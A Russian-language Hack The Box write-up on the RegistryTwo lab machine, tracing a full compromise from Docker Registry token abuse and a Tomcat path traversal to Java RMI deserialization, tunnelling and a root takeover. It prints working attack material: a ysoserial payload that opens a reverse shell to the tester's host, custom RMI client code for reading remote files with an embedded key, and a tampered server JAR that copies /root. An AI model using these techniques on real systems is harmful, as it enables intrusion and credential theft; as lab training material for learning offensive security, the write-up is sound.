March 5

HTB RegistryTwo. Эксплуатируем уязвимости Java RMI для полного захвата хоста

  1. Разведка
  2. Точка входа
  3. Точка опоры
  4. Продвижение
  5. Локальное повышение привилегий

В этом рай­тапе я покажу экс­плу­ата­цию нес­коль­ких уяз­вимос­тей в Java RMI, но сна­чала про­ведем ата­ку на Docker Registry, которая поз­волит нам получить дос­туп к фай­лам сай­та.

На­ша цель — зах­ват учет­ной записи супер­поль­зовате­ля на машине RegistryTwo с учеб­ной пло­щад­ки Hack The Box. Уро­вень ее слож­ности — «безум­ный».

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.223 registrytwo.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ска­нер нашел четыре откры­тых пор­та:

  • 22 — служ­ба OpenSSH 7.6p1;
  • 443 — веб‑сер­вер Nginx 1.14.0;
  • 5000 — сер­вис Docker Registry;
  • 5001 — сер­вис аутен­тифика­ции Docker Registry.

В SSL-сер­тифика­тах на веб‑сер­вере наш­лось нес­коль­ко имен DNS, которые мы тоже добав­ляем в файл /etc/hosts.

10.10.11.223 registrytwo.htb webhosting.htb www.webhosting.htb

Глав­ная стра­ница сай­та www.webhosting.htb

ТОЧКА ВХОДА

Пе­рехо­дим к про­вер­ке Docker Registry и дела­ем зап­рос к API /v2/_catalog.

curl -k -s https://webhosting.htb:5000/v2/_catalog | jq

От­вет сер­вера

Вы­ходит, нам нуж­но аутен­тифици­ровать­ся на сер­вере. Поэто­му обра­тим­ся к пор­ту 5001 для получе­ния токена.

curl -k -s https://webhosting.htb:5001/auth | jq

По­луче­ние токена дос­тупа

Про­веря­ем получен­ный токен с помощью jwt_tool.

python3 jwt_tool.py eyJ0eXAiOiJKV1Q...

Ин­форма­ция о токене

Нас инте­ресу­ет поле access, так как оно содер­жит текущие раз­решения. В дан­ном слу­чае оно пус­тое. Сно­ва выпол­ним зап­рос к API, но прос­мотрим и HTTP-заголов­ки зап­роса и отве­та.

curl -k -s https://webhosting.htb:5000/v2/_catalog -v | jq

От­вет сер­вера

В заголов­ке www-authenticate видим парамет­ры, необ­ходимые для зап­роса токена. Зап­росим новый токен, учтя получен­ные парамет­ры.

curl -k -s 'https://webhosting.htb:5001/auth?service=Docker%20registry&scope=registry:catalog:*' | jq

По­луче­ние токена

python3 jwt_tool.py eyJ0eXAiOiJKV1Q....

Ин­форма­ция о токене

В новом токене появи­лись при­виле­гии для дос­тупа к катало­гу. Теперь мы можем передать этот токен в зап­росе к API и получить спи­сок репози­тори­ев.

curl -k -s https://webhosting.htb:5000/v2/_catalog -H 'Authorization: Bearer eyJ0eXAi...' | jq

Спи­сок репози­тори­ев

Для авто­мати­зации работы с репози­тори­ями мож­но исполь­зовать DockerRegistryGrabber. Но есть проб­лема: скрипт при­нима­ет логин и пароль для авто­риза­ции на сер­вере, а мы зна­ем толь­ко токен. Поэто­му я нем­ного модифи­циро­вал скрипт, что­бы он в качес­тве учет­ных дан­ных при­нимал токен дос­тупа.

#!/usr/bin/env python3 import requests import argparse import re import json import sys import os from base64 import b64encode import urllib3 from rich.console import Console from rich.theme import Theme from requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)req = requests.Session() http_proxy = "" os.environ['HTTP_PROXY'] = http_proxyos.environ['HTTPS_PROXY'] = http_proxycustom_theme = Theme({ "OK": "bright_green", "NOK": "red3"}) def manageArgs(): parser = argparse.ArgumentParser() parser.add_argument("url", help="URL") parser.add_argument("-p", dest='port', metavar='port', type=int, default=5000, help="port to use (default : 5000)") auth = parser.add_argument_group("Authentication") auth.add_argument('-T', dest='token', type=str, default="", help='Token') action = parser.add_mutually_exclusive_group() action.add_argument("--dump", metavar="DOCKERNAME", dest='dump', type=str, help="DockerName") action.add_argument("--list", dest='list', action="store_true") action.add_argument("--dump_all",dest='dump_all',action="store_true") args = parser.parse_args() return args def printList(dockerlist): for element in dockerlist: if element: console.print(f"[+] {element}", style="OK") else: console.print(f"[-] No Docker found", style="NOK") def tryReq(url, token=None): try: if token: r = req.get(url,verify=False, headers={'Authorization': 'Bearer ' + token}) r.raise_for_status() else: r = req.get(url,verify=False) r.raise_for_status() except requests.exceptions.HTTPError as errh: console.print(f"Http Error: {errh}", style="NOK") sys.exit(1) except requests.exceptions.ConnectionError as errc: console.print(f"Error Connecting : {errc}", style="NOK") sys.exit(1) except requests.exceptions.Timeout as errt: console.print(f"Timeout Error : {errt}", style="NOK") sys.exit(1) except requests.exceptions.RequestException as err: console.print(f"Dunno what happend but something fucked up {err}", style="NOK") sys.exit(1) return rdef createDir(directoryName): if not os.path.exists(directoryName): os.makedirs(directoryName) def downloadSha(url, port, docker, sha256, token=None): createDir(docker) directory = f"./{docker}/" for sha in sha256: filenamesha = f"{sha}.tar.gz" geturl = f"{url}:{str(port)}/v2/{docker}/blobs/sha256:{sha}" r = tryReq(geturl,token) if r.status_code == 200: console.print(f" [+] Downloading : {sha}", style="OK") with open(directory+filenamesha, 'wb') as out: for bits in r.iter_content(): out.write(bits)def getBlob(docker, url, port, token=None): tags = f"{url}:{str(port)}/v2/{docker}/tags/list" rr = tryReq(tags,token) data = rr.json() image = data["tags"][0] url = f"{url}:{str(port)}/v2/{docker}/manifests/"+image+"" r = tryReq(url,token) blobSum = [] if r.status_code == 200: regex = re.compile('blobSum') for aa in r.text.splitlines(): match = regex.search(aa) if match: blobSum.append(aa) if not blobSum : console.print(f"[-] No blobSum found", style="NOK") sys.exit(1) else : sha256 = [] cpt = 1 for sha in blobSum: console.print(f"[+] BlobSum found {cpt}", end='\r', style="OK") cpt += 1 a = re.split(':|,',sha) sha256.append(a[2].strip(""")) print() return sha256 def enumList(url, port, token=None,checklist=None): url = f"{url}:{str(port)}/v2/_catalog" try : r = tryReq(url,token) if r.status_code == 200: catalog2 = re.split(':|,|\n ',r.text) catalog3 = [] for docker in catalog2: dockername = docker.strip("['"\n]}{") catalog3.append(dockername) printList(catalog3[1:]) return catalog3 except: exit() def dump(args): sha256 = getBlob(args.dump, args.url, args.port, args.token) console.print(f"[+] Dumping {args.dump}", style="OK") downloadSha(args.url, args.port, args.dump, sha256, args.token) def dumpAll(args): dockerlist = enumList(args.url, args.port, args.token) for docker in dockerlist[1:]: sha256 = getBlob(docker, args.url, args.port, args.token) console.print(f"[+] Dumping {docker}", style="OK") downloadSha(args.url, args.port,docker,sha256,args.token) def options(): args = manageArgs() if args.list: enumList(args.url, args.port,args.token) elif args.dump_all: dumpAll(args) elif args.dump: dump(args)if __name__ == '__main__': print(f"[+]======================================================[+]") print(f"[|] Docker Registry Grabber v1 @SyzikSecu [|]") print(f"[+]======================================================[+]") print() urllib3.disable_warnings() console = Console(theme=custom_theme) options()

То­кен переда­ем в парамет­ре -T, а для про­вер­ки получим спи­сок репози­тори­ев. В этом нам поможет параметр --list.

python3 DockerGraber_token.py --list https://webhosting.htb -T eyJ0eXAi...

Спи­сок репози­тори­ев

Те­перь сдам­пим весь репози­торий на свой хост, для чего переда­ем наз­вание репози­тория в парамет­ре --dump.

python3 DockerGraber_token.py --dump hosting-app https://webhosting.htb -T eyJ0eXA

Дамп репози­тория

По­луча­ем сооб­щение об ошиб­ке, так как у это­го токена нет раз­решений на дамп репози­тори­ев. Нуж­но зап­росить новый токен, для чего сно­ва обра­щаем­ся к API /v2/hosting-app/tags/list и получа­ем парамет­ры из HTTP-заголов­ка.

curl -k -s https://webhosting.htb:5000/v2/hosting-app/tags/list -v | jq

От­вет сер­вера

curl -k -s 'https://webhosting.htb:5001/auth?service=Docker%20registry&scope=repository:hosting-app:pull' | jq

Зап­рос токена

python3jwt_tool.py eyJ0eXAiOiJKV1Q....

Пов­торно дам­пим репози­торий hosting-app с новым токеном, на этот раз успешно.

python3 DockerGraber_token.py --dump hosting-app https://webhosting.htb -T eyJ0eXAiOiJKV1Q...

Дамп репози­тория

Пос­ле заг­рузки всех архи­вов перехо­дим к ана­лизу фай­лов. Их у нас теперь очень мно­го, поэто­му нуж­но опре­делить, что из это­го будет нам полез­но.

ТОЧКА ОПОРЫ

В самом пер­вом архи­ве (0bf45c...79d0ba) находим файл hosting.ini с паролем для MySQL. Он может при­годить­ся.

Со­дер­жимое фай­ла hosting.ini

А вот в архи­ве 4a19a0...82ac42 лежит весь каталог Apache Tomcat, что дает нам дос­туп к исходно­му коду сай­та.

Со­дер­жимое катало­га tomcat

Боль­ше все­го нас инте­ресу­ет каталог webapps, содер­жащий исходни­ки работа­ющих на сер­вере веб‑при­ложе­ний, где и находим модуль hosting.

Со­дер­жимое катало­га hosting

Те­перь мож­но перей­ти к ана­лизу самого сай­та.

Apache Tomcat — path traversal

Ре­гис­три­руем­ся и авто­ризу­емся на сай­те, что­бы получить дос­туп ко всем воз­можнос­тям.

Глав­ная стра­ница авто­ризо­ван­ного поль­зовате­ля

При тес­тирова­нии сай­тов на Tomcat всег­да сто­ит про­верять, нет ли уяз­вимос­ти обхо­да катало­га.

https://www.webhosting.htb/hosting/..;/examples/

Ре­зуль­тат про­вер­ки пути

Мы узна­ли, что уяз­вимость есть, поэто­му сра­зу перей­дем к стра­нице Servlets examples.

Стра­ница Servlets examples

Эта стра­ница откры­вает богатей­шие воз­можнос­ти для манипу­лиро­вания дан­ными сес­сий и даже сай­та.

Приш­ло вре­мя перей­ти к ана­лизу кода обна­ружен­ного ранее модуля. Так как это при­ложе­ние на Java, для его ревер­са я буду исполь­зовать Recaf.

В клас­се AuthenticationServlets видим, что поль­зователь может быть менед­жером, за что отве­чает атри­бут сес­сии s_IsLoggedInUserRoleManager (стро­ки 43–45).

Де­ком­пилиро­ван­ный код клас­са AuthenticationServlets

Су­дя по клас­су ConfigurationServlet, мож­но делать нас­трой­ки. Дос­туп к этим фун­кци­ям име­ет как раз поль­зователь с ролью менед­жера (стро­ки 42–46).

Де­ком­пилиро­ван­ный код клас­са ConfigurationServlet

Один из сер­вле­тов Tomcat поз­воля­ет манипу­лиро­вать атри­бута­ми сес­сий. Давай акти­виру­ем роль менед­жера, для чего атри­буту s_IsLoggedInUserRoleManager уста­новим зна­чение true.

https://www.webhosting.htb/hosting/..;/examples/servlets/servlet/SessionExample

Стра­ница сер­вле­та SessionExample
Ус­танов­ленные атри­буты сес­сии

RCE через Java RMI

Те­перь мож­но перей­ти к новой стра­нице /hosting/reconfigure и отпра­вить зап­рос на сох­ранение изме­нений. Это нуж­но, что­бы получить парамет­ры зап­роса и най­ти эту фун­кцию в исходни­ках при­ложе­ния.

Стра­ница /reconfigure
Зап­рос для сох­ранения изме­нений

На прош­лом скрин­шоте исходно­го кода клас­са ConfigurationServlet нас инте­ресу­ет обра­бот­чик doPost (стро­ки 28–38). В зависи­мос­ти от получен­ных парамет­ров управле­ние даль­ше переда­ется раз­ным обра­бот­чикам. Так, парамет­ры domains.max и domains.start-template упо­мина­ются толь­ко в клас­се DomainServlet (стро­ки 49–62).

Ис­ходный код клас­са DomainServlet

При этом в стро­ках 59 и 60 вызыва­ется метод get клас­са RMIClientWrapper. В коде это­го метода так­же отыс­кался параметр rmi.host, который в зап­росе не переда­вал­ся.

Ис­ходный код клас­са RMIClientWrapper

Ви­димо, если мы отпра­вим адрес хос­та в парамет­ре rmi.host, сер­вер выпол­нит зап­рос по это­му адре­су. В коде видим филь­тр, который про­веря­ет, окан­чива­ется ли адрес подс­тро­кой .htb. Этот филь­тр мы можем обой­ти, исполь­зуя нулевой байт %00. Запус­каем лис­тенер (nc -nlvp 9002) и выпол­няем зап­рос.

Зап­рос на сер­вер
Ло­ги лис­тенера

И момен­таль­но в окне лис­тенера видим вхо­дящий зап­рос RMI.

Java RMI — это механизм, который поз­воля­ет вызывать метод уда­лен­ного объ­екта, даже на дру­гом сер­вере. В некото­рых вари­антах такое под­клю­чение может при­вес­ти даже к RCE, так как переда­ются и выпол­няют­ся сери­али­зован­ные дан­ные.

Поп­робу­ем исполь­зовать го­товый экс­пло­ит. Для это­го запус­каем ysoserial в режиме лис­тенера, который при­мет зап­рос и вер­нет наг­рузку, выпол­няющую реверс‑шелл. Так­же запус­каем лис­тенер (rlwrap nc -nlpv 4321), что­бы при­нимать соеди­нение от реверс‑шел­ла.

/usr/lib/jvm/java-11-openjdk-amd64/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9002 CommonsCollections6 'nc 10.10.16.29 4321 -e /bin/bash'

Ког­да все готово, пов­торя­ем зап­рос в Burp Repeater и получа­ем сна­чала зап­рос RMI, а затем и бэк­коннект.

Ло­ги ysoserial
Сес­сия поль­зовате­ля app

ПРОДВИЖЕНИЕ

Су­дя по огра­ниче­ниям коман­дной обо­лоч­ки, мы попали в кон­тей­нер Docker. Так как на хос­те работа­ет Java RMI, экс­плу­ата­ция уяз­вимос­тей в этом механиз­ме — наибо­лее веро­ятный путь для прод­вижения. Сре­ди откры­тых пор­тов видим 9002.

netstat -tulpan

Прос­лушива­емые пор­ты

Для дос­тупа к пор­ту нуж­но сде­лать тун­нель, к при­меру с помощью chisel. На сво­ем хос­те запус­каем режим сер­вера, ожи­дающий под­клю­чения к пор­ту 5432.

./chisel.bin server -p 5432 --reverse

На уда­лен­ном хос­те — режим кли­ента, которо­му ука­зыва­ем адрес для под­клю­чения, а так­же нас­трой­ку тун­неля socks.

./chisel.bin client 10.10.16.29:5432 R:127.0.0.1:socks

В логах сер­вера мы дол­жны уви­деть соз­данную сес­сию.

Ло­ги сер­вера chisel

Для иссле­дова­ния RMI-при­ложе­ний я исполь­зую инс­тру­мент remote-method-guesser. Для пер­вой про­вер­ки зада­ем опцию enum, а что­бы нап­равить тра­фик в соз­данный тун­нель, в конец фай­ла /etc/proxychains.conf добав­ляем запись socks5 127.0.0.1 1080.

proxychains -q /usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar rmg-4.4.1-jar-with-dependencies.jar enum 127.0.0.1 9002

Ре­зуль­тат про­вер­ки RMI

Нам дос­тупны два клас­са: QuarantineService и FileService. О пер­вом ска­зать нечего, а вот FileService уже при­сутс­тво­вал в иссле­дован­ном ранее при­ложе­нии.

Ис­ходный код интерфей­са FileService

Ин­терфейс содер­жит мно­го методов, ско­рее все­го, для работы с фай­ловой сис­темой. Поп­робу­ем най­ти вызовы метода list, видимо, отоб­ража­юще­го содер­жимое передан­ного катало­га (стро­ка 18).

Ис­ходный код клас­са FileUtil

Пе­рехо­дим к слож­ной час­ти. Нуж­но будет написать свое при­ложе­ние, исполь­зующее тот же интерфейс, при этом нуж­но под­клю­чать­ся к RMI и вызывать метод list на уда­лен­ном хос­те. В качес­тве сре­ды раз­работ­ки я буду исполь­зовать Intellij IDEA.

Рас­паку­ем получен­ное при­ложе­ние, уда­лим из него файл клас­са RMIClientWrapper и соз­дадим новый про­ект со сво­ей реали­заци­ей. Копиру­ем ста­рый код, в методе get явно ука­зыва­ем адрес сер­вера, а так­же добав­ляем фун­кцию main, получа­ющую спи­сок фай­лов.

public class RMIClientWrapper { private static final Logger log = Logger.getLogger(RMIClientWrapper.class.getSimpleName()); public static FileService get() { try { String rmiHost = "registry.webhosting.htb"; System.setProperty("java.rmi.server.hostname", rmiHost); System.setProperty("com.sun.management.jmxremote.rmi.port", "9002"); Registry registry = LocateRegistry.getRegistry(rmiHost, 9002); return (FileService)registry.lookup("FileService"); } catch (Exception e) { e.printStackTrace(); throw new RuntimeException(e); } } public static void main(String args[]) { try { String dir = "/"; List<AbstractFile> files = get().list("950ba61ab119", dir); System.out.println("================================="); System.out.println("Listing: " + dir); for( AbstractFile file : files ) { System.out.println( file.getAbsolutePath() ); } System.out.println("================================="); } catch (RemoteException e) { e.printStackTrace(); }; } }

Для работы это­го кода добав­ляем в наш файл реали­зацию дру­гих зат­ронутых клас­сов и методов. Импорты сре­да раз­работ­ки под­тянет авто­мати­чес­ки.

class AbstractFile implements Serializable { private static final long serialVersionUID = 2267537178761464006L; private final String fileRef; private final String vhostId; private final String displayName; private final File file; private final String absolutePath; private final String relativePath; private final boolean isFile; private final boolean isDirectory; private final long displaySize; private final String displayPermission; private final long displayModified; private final AbstractFile parentFile; public boolean isFile() { return this.isFile; } public String getName() { return this.file.getName(); } public boolean canExecute() { return this.getFile().canExecute(); } public boolean exists() { return this.isFile || this.isDirectory; } public AbstractFile(String fileRef, String vhostId, String displayName, File file, String absolutePath, String relativePath, boolean isFile, boolean isDirectory, long displaySize, String displayPermission, long displayModified, AbstractFile parentFile) { this.fileRef = fileRef; this.vhostId = vhostId; this.displayName = displayName; this.file = file; this.absolutePath = absolutePath; this.relativePath = relativePath; this.isFile = isFile; this.isDirectory = isDirectory; this.displaySize = displaySize; this.displayPermission = displayPermission; this.displayModified = displayModified; this.parentFile = parentFile; } public String getFileRef() { return this.fileRef; } public String getVhostId() { return this.vhostId; } public String getDisplayName() { return this.displayName; } public File getFile() { return this.file; } public String getAbsolutePath() { return this.absolutePath; } public String getRelativePath() { return this.relativePath; } public boolean isDirectory() { return this.isDirectory; } public long getDisplaySize() { return this.displaySize; } public String getDisplayPermission() { return this.displayPermission; } public long getDisplayModified() { return this.displayModified; } public AbstractFile getParentFile() { return this.parentFile; }} interface FileService extends Remote { public List<AbstractFile> list(String var1, String var2) throws RemoteException; public boolean uploadFile(String var1, String var2, byte[] var3) throws IOException; public boolean delete(String var1) throws RemoteException; public boolean createDirectory(String var1, String var2) throws RemoteException; public byte[] view(String var1, String var2) throws IOException; public AbstractFile getFile(String var1, String var2) throws RemoteException; public AbstractFile getFile(String var1) throws RemoteException; public void deleteDomain(String var1) throws RemoteException; public boolean newDomain(String var1) throws RemoteException; public byte[] view(String var1) throws RemoteException;}

Те­перь перехо­дим к фун­кции main и рядом с ее опре­деле­нием нажима­ем кно­поч­ку запус­ка при­ложе­ния.

Ре­али­зация клас­са RMIClientWrapper
Ошиб­ка при запус­ке при­ложе­ния

Но при запус­ке видим ошиб­ку соеди­нения, так как при­ложе­ние не может получить дос­туп к пор­ту в обход тун­неля. Давай прос­то ско­пиру­ем стро­ку запус­ка и запус­тим прог­рамму в кон­соли, но уже через proxychains.

Ре­зуль­тат работы при­ложе­ния

И получа­ем содер­жимое катало­га при­ложе­ния! Теперь мы можем прос­матри­вать фай­ловую сис­тему уда­лен­ного сер­вера, прос­то меняя в нашем при­ложе­нии перемен­ную dir. Давай прос­мотрим домаш­ние катало­ги поль­зовате­лей.

Со­дер­жимое катало­га /home
Со­дер­жимое катало­га /home/developer

На­ходим все­го одно­го поль­зовате­ля с домаш­ним катало­гом, где есть очень инте­рес­ный файл .git-credentials. Теперь получим его содер­жимое, для чего будем исполь­зовать метод view. Давай допол­ним фун­кцию main и для про­бы про­чита­ем файл /etc/passwd.

public static void main(String args[]) { try { String dir = "../../../../home/developer/"; List<AbstractFile> files = get().list("950ba61ab119", dir); System.out.println("================================="); System.out.println("Listing: " + dir); for( AbstractFile file : files ) { System.out.println( file.getAbsolutePath() ); } System.out.println("=================================\n"); String filename = "/etc/passwd"; System.out.println("Content " + filename + " :"); byte[] byteContent = get().view(filename); String content = new String( byteContent, StandardCharsets.UTF_8 ); System.out.println(content); } catch (RemoteException e) { e.printStackTrace(); }; }

Ре­зуль­тат выпол­нения кода

Во вре­мя чте­ния фай­ла получа­ем ошиб­ку, разоб­рать­ся с которой у меня дол­го не выходи­ло, пока на форуме мне не ука­зали на то, что имя фай­ла шиф­рует­ся перед отправ­кой. Тог­да код фун­кции main при­обре­тает сле­дующий вид.

public static void main(String args[]) { try { String dir = "../../../../home/developer/"; List<AbstractFile> files = get().list("950ba61ab119", dir); System.out.println("================================="); System.out.println("Listing: " + dir); for( AbstractFile file : files ) { System.out.println( file.getAbsolutePath() ); } System.out.println("=================================\n"); String filename = "/etc/passwd"; System.out.println("Content " + filename + " :"); CryptUtil cryptUtil = new CryptUtil(); byte[] byteContent = get().view(cryptUtil.encrypt(filename)); String content = new String( byteContent, StandardCharsets.UTF_8 ); System.out.println(content); } catch (RemoteException e) { e.printStackTrace(); }; }

До­бав­ляем в файл код клас­са CryptUtil.

class CryptUtil { public static CryptUtil instance = new CryptUtil(); Cipher ecipher; Cipher dcipher; byte[] salt = new byte[]{-87, -101, -56, 50, 86, 53, -29, 3}; int iterationCount = 19; String secretKey = "48gREsTkb1evb3J8UfP7"; public static CryptUtil getInstance() { return instance; } public String encrypt(String plainText) { try { PBEKeySpec keySpec = new PBEKeySpec(this.secretKey.toCharArray(), this.salt, this.iterationCount); SecretKey key = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(keySpec); PBEParameterSpec paramSpec = new PBEParameterSpec(this.salt, this.iterationCount); this.ecipher = Cipher.getInstance(key.getAlgorithm()); this.ecipher.init(1, key, paramSpec); String charSet = "UTF-8"; byte[] in = plainText.getBytes("UTF-8"); byte[] out = this.ecipher.doFinal(in); String encStr = Base64.getUrlEncoder().encodeToString(out); return encStr; } catch (Exception e) { throw new RuntimeException(e); } } public String decrypt(String encryptedText) throws NoSuchAlgorithmException, InvalidKeySpecException, NoSuchPaddingException, InvalidKeyException, InvalidAlgorithmParameterException, UnsupportedEncodingException, IllegalBlockSizeException, BadPaddingException, IOException { PBEKeySpec keySpec = new PBEKeySpec(this.secretKey.toCharArray(), this.salt, this.iterationCount); SecretKey key = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(keySpec); PBEParameterSpec paramSpec = new PBEParameterSpec(this.salt, this.iterationCount); this.dcipher = Cipher.getInstance(key.getAlgorithm()); this.dcipher.init(2, key, paramSpec); byte[] enc = Base64.getUrlDecoder().decode(encryptedText); byte[] utf8 = this.dcipher.doFinal(enc); String charSet = "UTF-8"; String plainStr = new String(utf8, "UTF-8"); return plainStr; } }

Ре­зуль­тат выпол­нения кода

Код работа­ет, теперь у нас есть воз­можность читать фай­лы. Вер­немся к фай­лу .git-credentials.

Со­дер­жимое фай­ла .git-credentials

С получен­ными учет­ными дан­ными авто­ризу­емся по SSH и забира­ем пер­вый флаг.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Мы в сис­теме, пора собирать информа­цию! Я, как всег­да, заг­ружу и запущу на целевом хос­те PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате и выда­ют под­робный отчет о потен­циаль­но инте­рес­ных фай­лах, про­цес­сах и нас­трой­ках.

Прос­матри­ваем вывод скрип­та и под­меча­ем, что в катало­ге /opt есть соз­данный поль­зовате­лем файл registry.jar.

Фай­лы, добав­ленные поль­зовате­лем

Ин­форма­ции мало, поэто­му прос­ледим, запус­кает­ся ли этот файл. Для отсле­жива­ния запус­каемых про­цес­сов в сис­теме мы будем исполь­зовать ути­литу pspy64. В выводе находим запуск дру­гого фай­ла — quarantine.jar. Но, что более инте­рес­но, он запус­кает­ся в кон­тек­сте поль­зовате­ля с UID=0, а это root.

Вы­вод ути­литы pspy64

Ска­чива­ем оба фай­ла на свой хост для ана­лиза.

scp [email protected]:/usr/share/vhost-manage/includes/quarantine.jar ./ scp [email protected]:/opt/registry.jar ./

На­чина­ем с фай­ла, который запус­кает­ся. В фун­кции Main соз­дает­ся объ­ект клас­са Client и вызыва­ется метод scan (стро­ка 10).

Ис­ходный код клас­са Main

Этот класс дос­тупен и через RMI. Пос­ле под­клю­чения к пор­ту 9002 про­исхо­дит получе­ние кон­фигура­ции, которая переда­ется конс­трук­тору клас­са ClamScan (стро­ки 28–31). В методе scan прог­рамма получа­ет спи­сок фай­лов, каж­дый из которых переда­ется в метод doScan (стро­ки 35–43).

Ис­ходный код клас­са Client

В кон­фиге ука­зан каталог для ска­ниро­вания и каталог, видимо, для резуль­татов ска­ниро­вания, а так­же хост, порт и тайм‑аут для под­клю­чения (стро­ки 10–14).

Ис­ходный код клас­са QuarantineConfiguration

Пе­рехо­дим к методу doScan, где сто­ит обра­тить вни­мание на стро­ки 69, 70 и 77. Если при ска­ниро­вании метод scanPath клас­са ClamScan вер­нет FAILED, то файл переда­ется на каран­тин, где и про­исхо­дит копиро­вание фай­ла.

Ис­ходный код клас­са Client (про­дол­жение)

Пе­рей­дем к клас­су ClamScan и взгля­нем на метод scanPath. Пер­вым делом он под­клю­чает­ся к ука­зан­ному в кон­фигура­ции адре­су (стро­ки 163–165). Отправ­ляет­ся лишь информа­ция о ска­ниру­емом фай­ле (стро­ки 204–205).

Ис­ходный код клас­са Client (про­дол­жение)
Ис­ходный код клас­са ScanResult

Те­перь перей­дем к фай­лу сер­вера RMI. Сер­вер при­нима­ет соеди­нение и переда­ет кон­фиги.

Код клас­са Server

Соз­дание кон­фига с парамет­рами находим в клас­се QuarantineServerImpl.

Код клас­са QuarantineServerImpl

Вы­ходит, что если мы смо­жем запус­тить свой сер­вер и передать свои кон­фиги для ска­ниро­вания, то у нас появит­ся воз­можность ско­пиро­вать все фай­лы из про­изволь­ного катало­га. Конеч­но же, нам инте­ресен каталог поль­зовате­ля root. Еще раз запус­каем pspy64, что­бы отсле­дить, про­исхо­дит ли запуск фай­ла сер­вера.

Ло­ги pspy64

В логах находим пери­оди­чес­кий переза­пуск фай­ла сер­вера, а зна­чит, мы можем успеть запус­тить свою вер­сию.

В этот раз мы не будем заново писать код, а изме­ним в уже соб­ранном фай­ле все­го одну стро­ку в клас­се QuarantineServerImpl, где про­исхо­дит уста­нов­ка кон­фига. Это стро­ка 15.

private static final QuarantineConfiguration DEFAULT_CONFIG = new QuarantineConfiguration(new File("/tmp/quarantine"), new File("/root/"), "10.10.16.29", 3310, 1000);

Ука­зыва­ем каталог /root/ для ска­ниро­вания и копиро­вания фай­лов в каталог/tmp/quarantine. Затем в меню деком­пилято­ра выбира­ем File → Export Program и сох­раня­ем новый файл JAR. Копиру­ем его на уда­лен­ный сер­вер и запус­каем в цик­ле. Как толь­ко сер­вер запус­тится, получим соот­ветс­тву­ющее сооб­щение.

while true;do java -jar registry_new.jar 2>/dev/null;done

За­пуск сер­вера RMI

Для получе­ния логов на локаль­ном хос­те откро­ем порт 3310.

socat -d -d TCP4-LISTEN:3310,reuseaddr,fork STDOUT

Ло­ги ска­ниро­вания

В логах сно­ва видим файл .git-credentials. Давай най­дем его на сер­вере.

find ./ -name *git*

Ка­тало­ги с отче­тами о ска­ниро­вании
Со­дер­жимое фай­ла .git-credentials

С получен­ным паролем авто­ризу­емся от име­ни root и забира­ем пос­ледний флаг.

Флаг рута

Ма­шина зах­вачена!